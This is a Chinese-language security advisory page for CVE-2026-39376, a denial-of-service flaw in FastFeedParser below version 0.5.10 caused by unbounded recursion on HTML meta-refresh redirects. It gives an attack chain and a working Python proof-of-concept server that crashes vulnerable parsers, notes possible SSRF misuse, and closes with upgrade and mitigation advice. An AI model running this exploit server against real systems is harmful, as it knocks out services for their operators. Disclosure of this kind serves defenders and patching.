CVE-2026-39376 CVSS 7.5 高危

CVE-2026-39376 FastFeedParser 无限递归拒绝服务漏洞

披露日期: 2026-04-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-39376

漏洞类型

拒绝服务

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

FastFeedParser

漏洞概述

FastFeedParser是一款高性能的RSS、Atom和RDF解析器。在0.5.10版本之前，当parse()函数获取包含HTML meta refresh重定向标签的URL时，会递归调用自身处理重定向。由于缺乏递归深度限制、去重机制和重定向计数上限，攻击者可通过控制服务器返回无限的重定向链，导致Python调用栈耗尽，进而引发进程崩溃。该漏洞可被利用进行拒绝服务攻击，并可与SSRF漏洞结合攻击内网目标。

技术细节

该漏洞的根本原因是FastFeedParser库在处理HTML响应中的`<meta http-equiv="refresh">`重定向标签时存在设计缺陷。当`parse()`方法解析到此类标签时，会直接递归调用自身来获取重定向后的内容。代码中缺失了关键的防护机制：一是没有设置递归深度的最大阈值，二是没有记录已访问的URL以防止循环引用，三是缺乏重定向次数的计数器。攻击者利用这一逻辑漏洞，搭建一个恶意的Web服务器，该服务器对任何请求都返回包含指向自身的`meta refresh`标签的HTML页面。当FastFeedParser尝试解析该URL时，将陷入无限递归调用，导致Python解释器的调用栈迅速溢出。最终，这会触发`RuntimeError: maximum recursion depth exceeded`，导致解析进程异常终止。此外，这一机制还可被用于绕过某些SSRF防护，通过不断的重定向来探测或攻击内网服务。

攻击链分析

STEP 1

步骤1：侦查

攻击者确认目标应用使用了FastFeedParser且版本低于0.5.10，并能够接受外部URL输入。

STEP 2

步骤2：搭建恶意服务

攻击者准备一个恶意服务器，该服务器返回包含指向自身或循环引用的<meta http-equiv="refresh">标签的HTML页面。

STEP 3

步骤3：触发漏洞

攻击者诱导目标应用的FastFeedParser去请求恶意服务器的URL。

STEP 4

步骤4：耗尽资源

FastFeedParser进入无限递归状态，耗尽Python调用栈，导致目标进程崩溃（DoS）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# PoC: Malicious server to trigger infinite recursion in FastFeedParser < 0.5.10
import http.server
import socketserver

PORT = 8000

class ExploitHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # Return HTML with meta refresh pointing to itself to create infinite loop
        response_content = b'<html><head><meta http-equiv="refresh" content="0;url=/"></head><body>Infinite Loop</body></html>'
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(response_content)

with socketserver.TCPServer(('', PORT), ExploitHandler) as httpd:
    print(f"Exploit server running at port {PORT}")
    httpd.serve_forever()

影响范围

FastFeedParser < 0.5.10

防御指南

临时缓解措施

建议立即升级FastFeedParser至0.5.10及以上版本以修复该漏洞。若无法立即升级，应在应用层面对用户提供的Feed URL进行严格校验，避免解析不可信来源的内容，或设置网络超时及递归深度限制以防止资源耗尽。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表